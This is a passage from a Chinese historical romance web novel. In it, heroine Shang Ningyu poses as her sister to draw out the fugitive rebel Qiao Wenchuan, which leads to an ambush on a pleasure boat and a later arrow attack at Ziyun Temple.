暗门后是一张玉石山河屏,绕过去,里面别有洞天,只见里面俨然是另外一副卧室,床铺纱幔精致非常,书案桌椅,全部比外室书房有过之而无不及。 此刻,一男子端坐案后,面色沉静,另有他的侍卫立在玉屏后,见到她,面色一缓,将剑收回鞘中,躬身行礼。 韩雨玲吓得脸色发白,男子见状连忙起身,端出了一副温文尔雅的笑容迎上去。 “雨玲莫怪,凌风谨慎惯了。” 韩雨玲舒了口气,露出笑容,“无碍,乔公子此行凶险,谨慎一些,是应该的。” 说着,目露柔色,含情脉脉地看着男子。 来人正是乔文川。 当初乔家举事,乔家家主立刻派人潜入刑部,彼时刑部侍郎陈寿收了银子作壁上观,他得以顺势逃脱,然则,逃出来后,他还未来得及与乔家会合,禹王兵临城下的消息传来,他只得在护卫的护送下潜逃出城。 这一逃,便是四年。 半年前,乔文川联系上在皇陵的宁平王,宁平王向他打听圣上消息,这才得知当今圣上登基后,只册立了一位太子妃,依旧是先帝定下的那位贵女,定远侯的独女。 乔文川寻找宁平王,本是商议夺位大计,没料到宁平王竟只问了一句新帝后宫的事,心中顿时不满,但他心知这位表兄的本性,外表温和,实则阴鸷狭隘,只好隐忍不发,竭尽全力,搜寻旧识,扩大人脉。 谁知这时,表兄给了他一幅画像,叫他搜寻与画上相似的女子,献进宫去。 他一瞧,那赫然不就是宁平王新纳的侧妃商明惠? 乔文川并非愚蠢之人,联系前因后果,立刻猜出宁平王心计,连夜快马加鞭来到了宜城。 普天之下,容貌相似之人不知凡几,但若有心去寻,未必能在短时间内寻见,乔文川等不及了,他宁愿使用卑劣的手段,逼商家人就范。 天下还有什么女娘,是能比嫡亲姐妹更像的呢? 第83章 乔文川很快发现, 商家多了一位女娘,这位女娘虽然出门次数屈指可数,但只见过一面, 乔文川就确认对方才是真正的商明惠。 消息传回皇陵的同时,以商明惠为突破口, 围剿当今圣上的计划,也在他心中凝成形。 韩家是他曾经巡视江南,在宜城逗留时留下的一段机缘, 祖上薄有家产, 在他的一次助力下,跻身宜城首富。 韩家家主野心勃勃,经过他一番游说,不费吹灰之力就答应倾阖家之力助他成事。 韩雨玲在桌前款款而坐,道:“商家的确是有三位娘子,年前嫁去京都一位, 还剩下两位, 其中一位不曾出过门,出入带着面纱, 极少有人见过她的真实面目。不过,那位七娘子,我曾在路上见过她一面,姿容艳丽, 性情活泼, 与今日见得的这位商娘子倒像是两个人。” “但夏娘子唤她商娘子, 因此我也不能确定她的身份,不过,她带着面纱, 看额眉,与公子给奴家的画像上的人又很像。” 乔文川疑惑地问:“当真?”起身来回踱步。 韩雨玲点头:“而且,今日送她前来的那位公子,姓程,听说是来自京都,他也带着面具,瞧着衣着和品貌,与公子倒是有几分相似,我猜他应当也是出自大户人家。” 谁知原本心中存疑的乔文川,听了这话,顿时眼前一亮,拳掌相击,道:“那就没错了,一定是她,你见到的那位一定是国公府的三公子程玄晞。” “好,好,好。”他一连说出三个好字,激动得无以复加。 韩雨玲还是第一次见他如此这般,很是替他高兴,“可是,你说国公府也有人来了宜城,他们是不是知晓公子也在,特意追来的?” 乔文川笑容凝滞,沉吟片刻,道:“你说得不错,有这种可能。若非是商四娘按捺不住心思,顶替她妹妹出来游玩,那便是他们知道我追查到了此处,故意引我上钩。” 韩雨玲心惊而起,“那公子岂非很危险?” 乔文川抬手,安抚了她之后,捻指沉吟。 韩雨玲将担忧安纳下去,款款上前,抚慰到男人怀中,娇柔道:“其实郎君大可不必这般辛苦,我兄长胸无大志,只要我向父亲开口,父亲定允许我婚后留在府中,这万贯家财,都是郎君囊中之物,何必要与京都那些人争夺?虎口夺食,终究是危险。” 乔文川垂眸,这才察觉自己太过激动,忘了哄这位目光短浅的女娇娘。 但,总这般哄着,也太令人烦了。 他转身,双手扶着韩雨玲的肩膀,声情并茂,“那是你父兄留给你的财,我怎么能要?” “况且,你是要我余生都仰你鼻息,在你父兄手底下讨活吗?” 说完,他猛地转身,愤怒难当地平息怒火,忍耐道:“我乔氏儿郎,可以忍辱负重,但绝不苟延残喘,你若害怕,不如早日叫你父亲撤手,我昔日助将良多,不如今日就离开这里寻他们去。” 韩雨玲大惊失色,冲上前一把抱住男人身后,“不是的,奴家不是这个意思,奴家是见郎君辛苦,不忍郎君奔波才说出此话,郎君既然有雄心大志,奴家当然是劝服父亲,竭力助你成事。” 乔文川仰头阖目,少顷,舒缓了口气,转身抱住女娘,道:“忠良蒙尘,奸邪窃国,若我再贪生怕死,难道真的要让这天下陷入水火之中?自古忠奸难辨,太子根本没有谋反,他只是被人构陷,我决不能让天下世人都当真以为太子失德,我定要还世人一个清明,让他们都知道,如今坐在皇位上的那位,才是不忠不义不孝之人,夺人妻妾,罔顾先帝之命,我岂能容他安坐高宇定夺乾坤?” “是我的错,”韩雨玲内心生出怯懦,俯首贴耳,“我不该质疑你,你想要的,我都会给你。”说着,抬头,殷殷期盼,“只望郎君事成之后,莫要忘了奴家。” 乔文川抚弄她的青丝,轻声道:“雨玲,若是我能暂时利用你给我的这些钱财和人脉夺回属于我的一切,我心里姑且能好受些,但若要我余生都靠着你养活,我不如四年前就死在牢狱里。” “我明白,”韩雨玲语调中带着哭腔,“我不要你去死,郎君,早在我十四岁那年遇见你,我就想嫁给你,从前,你是天上日月,我望尘莫及,可上天垂怜,叫我有了几分希望,我保证,我以后再也不说这种叫你不愉快的话。” 乔文川心头微松,“你放心,待我事成,我一定风风光光地迎娶你过门。”打一巴掌给个枣,最终,他许下承诺。 “好,都听郎君的。”韩雨玲顿时喜笑颜开,而后询问,“郎君接下来,准备怎么办?” 乔文川眯起眼睛,道:“事不宜迟,今晚就动手。” “今晚?我爹还没回来,夏县令今夜要在紫云寺为全城百姓祈福,我爹每年随行,今年若是不去,恐怕会遭人怀疑。” “不需要你爹前来,我暂且还不想让你爹掺和进来,你爹能帮我缠住商家人,那是最好不过。”乔文川道,“你能帮我把她约出来吗?今夜灯会,街市上人多,走丢一个女娘,无人会在意。” “可是,我与她不熟,我能将她约出来吗?” “能。”乔文川浅笑,“我写一句话给你,只要你派人送过去,无论她是否已经知道我来了宜城,她都一定会来见你。” 说罢,铺陈纸笔,写下一行字,交给韩雨玲。 韩雨玲侧头看来,只见上面写着几个字:“想知道当年禹王离京真相,今夜画舫游湖,不见不散。”- 名贤巷,商家。 商凝语和江昱才一起用过午膳,门房就传进来一张信笺,商凝语接过来展开一看,眉头一扬,递给江昱。 点翠眼皮子一跳,飞快睃了一眼自家娘子。 嘶,娘子这也太顺手了,这又不是自家公子,说给就给。 江昱就喜欢她这种毫不芥蒂的随意感,笑着接过来,看完内容,嗤地一声笑,“都多少年的陈芝麻烂谷子事,现在还拿出来说。” 商凝语挑眉,倾身过去,问:“你知道原因?” 江昱笑容瞬间凝住,然后默默地将信笺折叠起来,边道:“能有什么原因?皇命难违,不得不走而已。” 商凝语目露怀疑,眼神停在他的手上,看着他将信笺收进怀中,伸出手讨要:“把信笺还给我,你不说,我交给四姐姐去。” 江昱伸手隔开她的手,笑:“你四姐姐都忘了,就不必用这事去烦扰她了吧,东西我替你销毁。” 而后,立马正色,“你今晚,去不去?” “去,当然去。”商凝语不假思索,“蛇已出洞,岂有不去的道理?” 江昱颔首,“那我现在就去准备。”说罢,起身离去。 商凝语先回屋歇息,点翠去后厨备了一些辣椒水,装在玉瓶中,回来见她在削竹篾,忙上前帮忙。 “娘子,东西备齐了,你可一定要担心。” “放心吧,你今夜照旧留在家里,不要跟我出门了。” “是。” 入暮时分,商凝语换了一身烟灰色的长裙,瞄上眉黛,再次覆上面纱,出了门,家门前停着的还是白日那辆马车,她只身掀开车帘,里面空荡荡,车夫小声解释:“公子说,他在画舫那边等你。” 商凝语掀起眼眸瞥了车夫一眼,不置一词。车行隆隆,不须半盏茶的功夫就到了集市,此时的街市上,正是人满为患,万家灯火的盛世景象。 路边杂耍艺人大显身手,引得围观百姓连连喝彩,还有一赤膊壮汉,气沉丹田,将一柄钢刀舞得虎虎生风,寒光凛凛。 马车所过之处,无不热闹喧阗,商凝语掀开车窗,正好瞧见一人手持火把,深吸一口气,从嘴里喷出一道气势如虹的火龙,霎时间,光芒万丈。 众人拍手叫绝,火龙熄灭瞬间,她抬眸,恰好瞧见江昱立在人群的另一边。 他脸罩面具,眼神深邃,嘴角勾起,风流倜傥的模样,像极了借着花灯会出来游行,勾引女娘的浪荡子。 商凝语轻哼一声,放下车帘。 马车行至探月亭,亭下河水汩汩,万盏灯火飘在河流之上,一艘高大气派的画舫停靠在岸边,烛火灿灿。 商凝语静立河岸,那些灯火将她笼罩在一片光怪陆离之中,她眯着眼睛打量这艘画舫,须臾,身侧有人站过来,她起疑问道:“乔家人进城,你有料到,他们还能有钱租用这样贵的画舫吗?” “没有,”江昱眺望远处,道:“乔文川从狱中逃走,根本没有机会回府搬用家产。” 商凝语缓缓道:“韩桥巷的韩家,乃是宜城首富,韩雨玲乃是韩家独女,也是今日唯一主动与我结交,却不曾问过我名字的人。” “韩家在紫云寺供奉了香火,祈求能为独子添份官职。”江昱淡淡地接话,“如此,倒也说得通了。” 第84章 月上中天, 街上人群疏散,渐渐地,只有三两人群逗留, 岸上垂柳轻动,商凝语立在石阶下, 直待人群彻底散去,热闹喧哗的岸边已经空无一人,她方抬脚, 向画舫走去。 画舫上, 早有侍女在门口等候,见到她,上来迎接,“娘子请。” 商凝语一路跟随,边走边打量四周,舫楼深处有丝竹乐声传来, 灯火葳蕤, 舫墙上的敦煌舞曲壁画在红芒的照映下栩栩如生。 登上二楼,乐声渐大, 直至她停在包厢门前,曲调戛然而止,门被打开,衣衫整齐的舞姬们鱼贯而出, 引路侍女躬身指引:“娘子, 请。”- 集市道旁人家的灯火渐次熄灭, 探月亭边,唯剩河上飘过的万星烛火,有的渐次熄灭, 有的浮去远方,一阵江风吹过,画舫拨动,缓缓离开岸边。 与此同时,数十道人影如飞鼠般扑向画舫,瞬间挂在船板上。 江昱动如狡兔,脚尖点在栏杆上,顺势腾起,而后在舫板上借力,一跃上了二楼。 他身穿黑色劲装,面带黑巾,只需一动不动,身形便能掩藏在桅杆后。 江风肆虐,将他的一缕发丝吹在在空中狂舞,他微微移出目光,正瞧见商凝语立在门口,室内的光芒照在她的身上,足以想见,她能看清屋内一切—— 出发前,他们约定,只要她确定里面是乔家人,就制造出一点事故示警。 江昱握紧了腰间佩刀,目光一眨不眨地盯着她。 而商凝语此时也在凝视着前方,宽敞的舫室内,灯火通明,食案上摆着酒菜,只正中的前方坐着一白衣男子,垂直的纱幔因风飘舞,遮掩了视线,令她一时无法确定那后面站立之人是谁。 惊疑不定时,她驻足不前。 那侍女掀眸,疑惑看过来,道:“娘子,咱们公子已经等候你多时了。” 商凝语一动不动,盯着那方白衣身影,冷着嗓子问:“不知公子是哪位?寻我何事?” 白衣男子不说话,侍女催促:“外头风大,我家公子近日染了风寒,娘子进来说话才是。” “你家公子?”商凝语忽然冷笑,后退一步,质问道:“你是韩家的婢女吧?你家公子怎会在这里?那个应该是你家娘子才对。” 狂风大起,里面的人大惊,从旁侧忽然现出一人,凌厉的五指向她抓来,商凝语不作他想,急速后退,江昱向前扑去,半道上拦截偷袭者,两人过了三招,而后同时发现商凝语不慎跌下栏杆,顾不上纠缠,连忙伸手去拉。 楼下刀光剑影,呼声四起,江昱手撑栏杆,跃下来同时,刀光向上横扫,逼得对方后退半步后,拦腰接住商凝语,偷袭者扑向栏杆并不着急追赶,而是扔出手中长剑,直射她的面门。 商凝语大惊失色,抬起手臂射出一道袖箭,却不料偷袭者目力了得,瞬间抓住袖箭,而后反向扔了回去。 商凝语眼睁睁看着江昱替她扫除长剑后收了刀势,落水瞬间,袖箭擦着她的耳珠子飞过,面上一凉,面纱随之脱落。 偷袭者看着河面,目光沉淀,“来人,抓活的。” 商凝语凫水是个半吊子,在水里扑通几下就没了力气,全靠江昱护持,几度浮浮沉沉就头脑晕乎,最后,只剩一片光晕,模模糊糊地在空中晃荡。 昏迷之前,她没忘记抹了一把脸,将面上制作的牛皮面具撕下,攥在手中- 等到商凝语再次醒来,已经回到商家的闺房中,耳边一片宁静,豆烛照映的微茫照亮了床间方寸之地。 她呻吟出声,一直服侍在旁的点翠连忙扑到塌边,欣喜:“娘子,你醒了?” “已经亥时末了。” 商凝语会想起昏迷前种种,起身问道:“江昱呢?他怎么样?” 点翠欲言又止。 商凝语顿时心头一凛,蹙眉问道:“他怎么了?快说。” “江世子没事。”点翠忙道,而后开始嘟喃,“就是老爷和夫人正生气,这会儿刚送走大夫,正在前面训斥江世子。” “我去看看。”商凝语掀开被褥就要下床,就她娘那个碎嘴子,说起人来能唠叨个没完,根本说不上正事。 点翠拿起架子上的衣衫,服侍她穿戴。 出了门,商凝语才知晓夜里下起了小雨,雨水淅沥,打湿了地上的青石,点翠回去拿伞,她犹豫片刻,顺着屋檐,率先向前院走去。 到了前院,才发现点翠口中的“大骂”,根本不是吐沫喷飞的那种,灯火昏暗,只有堂屋亮着一盏灯,双亲端坐主位,某人坐在下首,垂着脑袋听训。 “我们答应你,愿意让呦呦代替她姐姐帮你捉拿余孽,可你也不能自作主张,趁着我们不在家就将她带走啊,这要是出了事,你拿什么偿还我们?” 商晏竹沉着脸,不说话,哭骂的人是田氏。 “你说,你是不是故意的?你就想让呦呦毁容,好让她毁了这门亲事?啊?”田氏抹泪,越想越气。 江昱原本低着头认错,闻言,身形微顿,渐渐地抬起头来。 商凝语摸向脸颊,触手是一块横亘鼻梁包裹一圈的纱布,伤口因她的按压,传来一抹尖锐的刺痛。 田氏继续拍着桌子骂:“我告诉你,你想都别想,霁哥儿品行端正,万不会因为这点小伤就不要我家呦呦。” “夫人,你胡说八道什么?”商晏竹无奈呵斥。 商晏竹原是一阵后怕,此时正想着如何解决此事,余孽尚未捕获,他还要不要继续李代桃僵,引出余孽? 并且,他早已熟识自家夫人哭闹的本事,怨艾起来没完没了。 因此,他沉浸在自己的思绪里晃了一个神,没想到仅仅一个念头过去,主题已经跑得没边,瞬间离谱。 江昱正色道:“夫人放心,七娘子有任何闪失,晚辈都愿意一力承担,绝无怨言。” “哼,”田氏可不是甜言蜜语哄两句就晕头转向的,“你既然说出‘怨言’二字,那就是已经生出了怨言,只不过现在尚有理智压制着罢了,难保以后不会爆发出来。” “阿娘。”商凝语听不下去了,跑到堂下,跺起脚来,“我已经没事了,您和阿爹还是早点回去歇息吧。” 田氏一怔,瞬间比她更急:“你怎么跑出来了?有没有哪里不舒服?快回去躺着。” 江昱也是起身,目光停在她的脸上。 商凝语只看田氏,轻哄道:“阿娘,我真的没事,就让阿爹在这里和他谈吧,你陪我回去歇着。” 说着,她朝商晏竹眨眨眼。 商晏竹见她已经无碍,清了清嗓子,也道:“你们先回去,剩下的事情交给我和瑾弋。” 田氏被商凝语拉着,一步三回头,出门前道出自己的唯一要求,“不准再让呦呦代替她姐姐去。” 片刻后,商晏竹深吐一口气,他看了一眼江昱,见他今晚态度极为乖顺,也不好再继续“骂”下去。 回归正题,问:“可有确定余孽来了多少人?” 江昱忙收了心,回:“有四五十人,不过,当初乔文川也逃出了京都,我一直没有找到他的踪迹,这次来人传信,我猜,这宜城背后必定是他,只是他最胆小谨慎,今晚没有现身。” “乔文川?你对此人可有了解?” “他是个伪君子,乔家那些见不得人的勾当都是他在做,只是他伪装得好,就是从前先帝也会将一些事情交给他去办。” 江昱又道:“七娘子猜测,这宜城还有他的同党。” “是谁?” “韩桥巷的韩家。” 商晏竹的脸色顿时阴沉下来,“如此说来,他手下的人,可能不止你所查到的那百余人。” “是,韩家有金银钱财,可以助他寻找江湖游侠作盟友,今晚出手的人,都是这群散客。” “瑾弋,”商晏竹唤他。 江昱连忙恭敬地应:“伯父。” “接下来,你预备如何?” 江昱垂眸,道:“不满伯父,晚辈此翻下江南,捉拿叛贼余孽,最主要抓的就是乔文川,现下得知他在此处,晚辈倾尽全力,也一定要将他捉拿回京。” 商晏竹颔首,“有先帝口谕,宁平王不过是秋后的蚂蚱,只要将乔文川一举歼灭,其余人等不足为惧。” 他抬头,问:“你打算怎么做?” 江昱起身,拱手道:“七娘子今夜帮晚辈这出,就已经够了。伯母说得对,晚辈今夜考虑不周,害得七娘子受伤,晚辈深感歉疚,回头一定奉上厚礼以表歉意。剩下的事,晚辈可以另想办法,请伯父放心。” “不行,”去而复返的商凝语推门而入,疾言厉色道:“我不同意,我既然已经参与进来,就没有半途而废的道理,你有什么办法,尽管告诉我,我能帮得上忙的一定帮。” 她看向商晏竹,见父亲面露踌躇,皱起眉头道:“阿爹,这事说到底关乎四姐姐的安危,我们家怎么能置身事外?” 江昱敛眉,劝说:“七娘子,伯父这也是为你的安危考虑。” “没什么考虑的,今晚受伤是个意外,我的面纱本来就是让他们掀开的,否则,怎么能引他们上钩?”商凝语斩钉截铁。 商晏竹微微一惊,“这是你们故意设的局?” 江昱面色僵硬,商凝语已经抢声道:“是,我做了面容调整,只要不细看,绝对看不出问题来,此刻他们必定已经确认我就是四姐姐,过两日肯定还要再来,此时瓮中捉鳖岂不是最好的时机?为何要错过?” 商晏竹掀眸,向江昱瞥来,淡声问道:“哦,是吗?” 江昱以拳抵住唇畔,轻咳,“是,伯父别误会,晚辈也的确是没想到会伤了七娘子,原本计划是,七娘子自己失手掀开面纱就行。” 惹来商晏竹一声冷笑。 第85章 接下来, 商晏竹将商凝语一顿训斥,话里话外都是“罔顾父母”、“以身涉险”、“不计后果”等意思,语调不重, 但声色俱厉,虽一句都未责骂江昱, 却比骂了江昱还难受。 ——若是骂了,他就是江昱,没骂, 那可就是江世子。 骂完了之后, 还得替他们筹谋。 商晏竹道:“江昱,东城门外十里地有一座虎头山,你在那里准备一下人手,我会放出消息,过几日我要带女儿去临县拜访一位好友。” 从“瑾弋”又换回了“江昱”,江昱敏锐察觉到, 商父的心思转变。 “不行, ”他话未说,商凝语就已经率先反对, “乔文川现在显然就在城中,否则今天不会这么快就给我传来消息,如果再出城去,万一他不去怎么办?万一他听到风声逃跑了, 又怎么办?” 商晏竹稍一斟酌, 改口道:“那就去紫云寺, 就说你今日受到了惊吓,我带你去寺里祈福消灾。” “那也不行,”商凝语又反对, “这城中谁不知道您不信佛?就是今日祭祀大典,也是夏县令再三央求,您也确实不想让韩家一介商贾压耆老一头,所以才答应前往,这时您再去寺里,难保不会引起他们怀疑。” 其实,商凝语说这话时,并未想太多,纯纯就是思虑周全。 但听在面前二人耳中,就不是这么回事了。 商晏竹冷笑:“你娘信佛,那让你娘陪你去。” 这怎么可以?京都的人谁不知道商家的四娘子与她的继母形同陌路,感情并不深厚,阿娘又怎会在此时陪四姐姐去寺里祈福?她好不容易让乔文川确信的身份岂不是瞬间拆穿? 察觉到父亲的不高兴,先前被训斥的余威犹在,商凝语不敢坚持,立刻改口:“父亲去也没错,就当是弥补对四姐姐这些年的亏欠。” 商晏竹一噎。 江昱觑了一眼商凝语,眉眼暗藏笑意,道:“既然如此,小侄这就去紫云寺准备一下。” 商晏竹颔首,客气道:“麻烦你了。“ “应该的。” 商晏竹挥手,叫二人退下,商凝语故意逗留了片刻,待江昱先行离开。 商晏竹背着手路过她身前,从鼻孔里嗤出一声气,提点她:“我知道你是公事公办的性子,但在外人面前,也得避着点嫌疑,懂不懂?” “” 商凝语抿唇,感觉受到了莫大的侮辱- 翌日,商家一位女娘昨夜落水受到惊吓,连夜寻大夫上门探病的消息不胫而走。五日后,商凝语乔装打扮,随商父离开名县巷,低调却不失张扬地前往紫云寺。 住持得江昱吩咐,引商凝语前往竹屋,此竹屋早被江昱腾挪出来,自己则搬去了竹屋后面,和商父住在真正接待贵客的厢房。 竹屋四周清净,而且山石环绕,树木繁茂,最好布置埋伏。 与此同时,韩家密室内很快得了消息,此次送信前来的人并非韩雨玲,而是家主韩福。 韩福眼见自己说完消息,面前的乔文川就开始拧起眉头来,一时也是踌躇。 “少主担心,这是诈?” 乔文川负手,脚步缓慢地来回徘徊,反问:“你觉得呢?” 韩福道:“我觉得,便是诈,也得去。” 凌风恭敬地站在一旁,原是担忧地看着自家少主,闻言,拇指一动,长剑倏地拔出三寸,冷声质问:“韩老爷这是要少主以身涉险?” “哦不不不,”韩福喜好肉食,一到中年就开始发福,并且这种福气与夏县令那种截然不同,夏县令属于肥而不腻,胖中有劲,整个人精神烁烁,而他,走一步,身上的赘肉都要抖三抖,是真的虚胖。 寒芒刺眼,韩福不自觉地后退一步,小心道:“我的意思是,既然少主已经确认了这位商侧妃的身份,不如先将她拿下,至于那位程公子,即便这真的是个局,想要抓少主” 他稍作停顿,见乔文川根本没有因为好奇而侧目看过来,心下一顿,不敢故弄玄虚,继续道:“说句现实的话,少主也势必要派人去将商侧妃给劫出来,否则,少主在宜城耽误这么些时间,就全都是白费了。” 说着,他小心看了一眼乔文川的脸色,慢慢地道:“江南各地官员以及众多商户瞧在昔日旧情的份上,愿意助少主一臂之力,但这毕竟是有期限的,况且,少主手下缺兵权,这师出无名啊,就是宜城外的驻军秦豪将军,他想帮也不敢帮。” “但只要少主拿下商侧妃,提供当今圣上罔顾先帝圣意的佐证,秦将军定可以助公子一臂之力,整个江南官场和商户也都可以为少主驱使,假以时日,少主的复辟大计必定能成。” 凌风眼风冷冽,“你说得轻巧,紫云寺若是布下天罗地网,少主便是插翅难逃,还谈什么复辟大计?” 他上前一步,逼近韩福,“程玄晞乃是国公府的血脉,光是手里的暗卫,就与我们的人手不相上下,你拿着少主的信物去寻秦豪,为何到如今还没有他的回应?他不给我们回信,若到时,他接受了国公府差遣,我们岂不是落入虎口?” 韩福弯着腰,战战兢兢:“凌风公子息怒,少主大可不必前去,凌风公子武艺高强,不如由你去紫云寺坐镇,捉拿商侧妃,如此,既保护了少主的安危,又能将商侧妃拿下,岂不是两全其美?” 凌风神情微顿,倒是觉得这个办法可行。 韩福又说道:“秦将军那边也好办,老夫愿意再亲自跑一趟,说服秦将军给咱们做个内应,秦将军为人谨慎,便是不帮助我们,也会持观望的态度,只要他不掺和,仅让凌风公子和程公子较量,鹿死谁手,还不一定呢。” 这个办法可行,凌风收回剑,退回自己既定的站位。 乔文川轻轻笑了。 韩福心中微惊,问:“不知少主还有何顾虑?” “没有了,”乔文川抬头看着他,道:“你思虑得很周全,就依你的意思办,不过,你去说服秦豪,就说这次我会亲自坐镇,届时我还会亲自调动天下文士,向当今圣上发出告贴,你问他愿不愿意助我,武将中,他若是首投,将来大成,我必封他为护国大将军。” 韩福大喜,“有少主坐镇,自是再好不过,秦将军得了此话,也定当再无后顾之忧。” 说罢,见凌风面色不善,赶紧寻了借口,躬身退去,离去的背影,脊梁挺直,透着从容和潇洒。 待密室的门合上,凌风蹙眉冷声道:“我看,是这个老狐狸再无后顾之忧了。” 乔文川走到案前,看着桌上铺置的宜城舆图,道:“是他也罢,是秦豪也罢,都要给他们一个交代,否则,谁还会替我们卖命?” “他说得对,想打通江南整个官道和商道的口子,就必须给他们一个投名状,总这么等着,会耗尽他们的耐心的。而且,太子那边也快等不及了。” 凌风张了张嘴,想起太子妃传出来的消息,说太子精神失常,已经两次将那位冒名顶替的假侧妃打到昏迷,顿时哑了口。 乔文川说完,低头轻笑,感慨道:“所以,留给我们的时日已经不多了。” 他提笔蘸墨,在舆图上画出四个圈,递交给凌风,凌风双手捧上,只听他近似调侃道:“若是事成,那个夏长东就不足为惧,咱们也能出去走走,见见天日。” “是。“凌风按捺住心中的酸楚,应声答道- 这日,方过晌午,天气就放了晴,雨后初霁,碧空如洗,漫山的翠绿揉碎在春色里,洇成深浅不一的青痕。 紫云寺的住持慧远大师,是个能人,不仅掌管后厨素斋膳食,迎接香客,厢房布置,而且学识渊博,占卜卦象,琴棋书画无一不通,往来入住的香客,若能与其坐而论道,总能受益匪浅。 但他有个唯一的弱点,便是不善与官人结交,好在,夏长东知他脾性,从不为难他,江昱入住寺中以来,也不在乎他的疏离,有事便叫小沙弥给解决,不能解决的事,也就自己动手处理了。 商晏竹来的第二日,随江昱考察寺中地形时,恰巧遇见慧远大师在亭中独自对弈,上前攀谈几句,心中大为震惊,所谓大隐隐于市,这位大师可当真是这句话的忠实实践者。 二人一来二去,短短五日,就互相引为知己,住持猜测他前来紫云寺另有要事,并不多问,便下令禁止小沙弥们前来后院竹林。 这不,用过午膳,过了歇响时间,商晏竹又携了江昱送上来的一幅鸿儒先生的字画前来向慧远大师请教。 二人相谈甚欢,惠风和畅之际,江昱舍弃青石小道,穿过竹林,摸去了竹屋。 山林风凉,竹板上,商凝语躺在垫着厚褥的摇椅里,身上盖着薄毯,面上依旧带着面纱,并且覆着一本书,正在合目睡觉。 身后立着一位新来的侍女,名叫怀宁,也是江昱安插进来保护她的护卫—— 作者有话说:明天见,么么 第86章 见到江昱, 怀宁望了一眼商凝语,见她一动没动,却也没敢退去, 而是避开旧主的眼神,继续立在原地, 警惕四周。 但江昱走上竹板,商凝语就醒了,阖目道:“怀宁, 去帮我的火炉拿出来, 我煮茶给世子喝一杯。” 怀宁欢喜应声,“是,娘子稍等。”说着,就进了屋子,去将里面的火炉搬出来,搁在商凝语对面, 又进去拿茶具——嗯, 江昱搬家前唯一落下的一套完整的东西。 江昱进屋,拎着一把竹椅, 围着火炉在商凝语对面坐下,笑着训斥:“你倒是悠闲,就这么堂而皇之地坐在这里,也不怕有人放冷箭。” “那就死啊。”商凝语拿下面上的书, 坐起身来, 一脸不屑道:“只要他们敢。” 江昱无奈:“你不怕, 但我怕,谁能保证这世上没几个疯子?” 商凝语闻言,认了真:“什么意思?” “皇陵那边出了事, 太子赵曦精神失常,将商侧妃鞭笞重伤。” 商凝语怔住,问:“严不严重?” 江昱回:“消息是三日前传出来的,不知这会儿醒没醒,不过,这也不是第一次了,应当无碍。” 商凝语顿时对那个素未谋面的娘子感到心疼和担忧,但她对此却毫无办法。 怀宁将茶具端上来,一一摆好,听闻了最后一句,劝道:“娘子放心,便是宁平王犯浑,宁平王妃也会保持清醒,乔家此刻还在外面替他们奔走卖命,若是这位假侧妃死了,对他们只有坏处,没有好处。” 商凝语如此一想,也对,若是假侧妃死了,那就死无对证。 便是在外面寻到真的商明惠又如何?天下容貌相似之人何其多,届时,那才真是八仙过海各显神通——先帝的旨意,就不起作用了。 只能希望将来能有机会将那位顶替的娘子救下来。 她笑了,问怀宁:“你不仅功夫好,而且头脑聪明,识人断字也不在话下,是谁把你教成这样的?” 怀宁将水添进茶壶,放在火炉上,道:“娘子说笑了,婢子只是比别的侍女多了几个师傅而已,担不起娘子的称赞。” 说着,又道:“娘子午膳用得不多,空腹饮茶有伤脾胃,婢子这就去后厨看看,拿点糕点过来。” “我要瓜子,还要面饼。”商凝语不拘着她,让她去。 江昱见她目送怀宁,眼里的欣赏抑都抑制不住,轻声问:“想要?” 不等商凝语回答,扬眉道:“想要我可以送给你,给你当个贴身护卫。”眼神晶亮,闪闪发光。 商凝语敬谢不敏,“不了,点翠知道了,准跟我闹脾气。” 开玩笑,侯府精心培育出来的暗卫,她怎么可能收?只是,艳羡是真的艳羡。 江昱轻轻一笑。 商凝语双手悬在火炉上,须臾,问:“你都布置好了?能不能跟我说说?” 这时,茶壶里的水沸了,江昱四下看了看,没见到茶叶,挑眉看向商凝语,只见她拿起搁置在旁边不起眼的一方巴掌大的锦盒,打开后,里面露出一溜暗红。 商凝语将锦盒在茶碗里抖了抖,不料掉下去一大把,她心疼得嘶嘶叫。 江昱气笑了,“商凝语,我对你不薄吧?你拿这个糊弄我,还舍不得?” 商凝语将锦盒收起,道:“这可是我制作的新茶,用中秋前夜打下的金桂,蜜糖腌渍后,窨制在祁门红茶中,味道极好,我平时都不舍得喝,你若是嫌弃,我重新给你冲一壶开水。” 说着,她用布巾包住壶盖,壶中白浪翻飞,重新盖上盖后,悬壶倒水,动作熟稔,手法老练。 茶汤红亮,暖香袭人。 茶水放到跟前,江昱浅尝一口,颇有几分惊艳地看了眼茶汤,又再尝了一口。 心满意足后,放下空茶盏,回答起前面的问题来,“紫云寺前面有左右两条道,这个地方在山寺的后面,背靠悬崖,我在前面道上布置了人手,若是发现有可疑人上山,就先示警,前院庙宇有不少香客,倒是不能埋伏太深,且让他们先进来再说。” “伯父那里我倒不是很担心,届时让他去住持那里躲一躲就是,你这里,我布置了五个点,每个点,各有十名守卫,绝对可以护你周全。” 大概是并不真正地了解那些护卫的实力,商凝语对他的话并没有那么大的信心,不过,“你说的驻军呢?没来?” 提起这个,江昱眼眸微眯,口气生寒,“来了,不过他不愿意上山,而是驻扎在山下,哼,一个见风使舵的奸佞小人。” “他想干什么?” “宁平王侧妃李代桃僵的风声走漏出去,此人胆大冒险,想坐收渔翁之利。” 商凝语乍舌,少顷,喃喃道:“怪不得要你亲自前来,如此也好,对半分,谁赢了谁说话。” “哼,想在我跟前卖好可不是那么容易。”江昱冷笑。 金乌西沉,金色光芒穿过屋顶,投射在二人身上,拉下一条狭长的影子。 忽然,他敛了神色,张了张口,问:“京都来信了吗?” 商凝语一愣,反应了半拍,才明白他问的是什么信,微微一怔。 变故便是出现在这一瞬间。 商凝语茶水跌落,看着一根箭矢从鱼塘对面破空而来,直朝江昱的后脑勺射去,顿时瞪大了眼睛,怎奈二人中间隔着一个火炉,她倏地起身,惊呼:“小心。” 江昱神色一凛,而这时,商凝语因起身过猛,一不小心撞倒了火炉,而山寺清贫,提供的炭火并非精品,茶壶倾倒,水流直冲炭火,溅起一股灰尘。 不作他想,江昱纵身一跃,将她扑倒在地,而后连续翻滚,避开对方再射出的第二支箭,与此同时,空中响起一道金鸣声,江昱抽出腰间佩刀,砍断一只流矢,拉着商凝语进屋内,怀宁手持长剑,冲了出来。 商凝语看着对面接二连三射出来的箭矢,紧接着,四面丛林中都传来了打斗声,心头大定——终于来了。 转瞬,她大骂江昱:“你不是说万无一失吗?人家都杀到你面前来了,你才知道!” 